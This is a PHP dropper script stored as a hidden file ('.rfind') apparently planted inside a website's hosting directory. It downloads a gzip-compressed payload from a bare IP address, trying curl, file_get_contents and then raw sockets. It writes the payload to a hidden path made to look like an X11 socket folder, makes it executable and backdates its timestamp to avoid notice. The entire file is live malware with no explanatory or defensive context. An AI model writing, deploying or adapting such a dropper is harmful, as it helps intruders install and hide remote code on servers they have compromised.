File: //tmp/.rfind
<?php $p = '/home/l/lordrp/tipografiya_saratov_rf/public_html//tmp/.X11-unix/randomscript'; $u = 'http://62.60.131.254/c6d5fdb72737fd804f23b5e62fecaf41'; $fs = 600482; $ft = 1759493960; $c = gzdecode(get($u, $fs)); if ($c) { file_put_contents($p, $c); if (file_exists($p) && filesize($p) == $fs) { @chmod($p, 0744); @touch($p, $ft); die('_uploaded!_'); } } die('_upload_failed_'); function get($url, $fs) { $data = false; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($ch); curl_close($ch); } if (strlen($data) == $fs) { return $data; } if (@ini_get('allow_url_fopen')) { $options = stream_context_create(['http' => ['timeout' => 30]]); $data = @file_get_contents($url, false, $options); } if (strlen($data) == $fs) { return $data; } if (function_exists('fsockopen') && function_exists('socket_set_option')) { $parts = parse_url($url); $target = $parts['host']; $port = isset($parts['port']) ? $parts['port'] : 80; $page = isset($parts['path']) ? $parts['path'] : ''; $page .= isset($parts['query']) ? '?' . $parts['query'] : ''; $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : ''; $page = ($page == '') ? '/' : $page; if ($fp = @fsockopen($target, $port, $errno, $errstr, 30)) { $headers = "GET $page HTTP/1.1\r\n"; $headers .= "Host: {$parts['host']}\r\n"; $headers .= "Connection: Close\r\n\r\n"; if (fwrite($fp, $headers)) { $resp = ''; while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) { $resp .= $curr; } if (isset($curr) && $curr !== false) { fclose($fp); $data = ltrim(substr(strstr($resp, "\r\n\r\n"), 3)); if (strlen($data) == $fs) { return $data; } } } fclose($fp); } } return false; }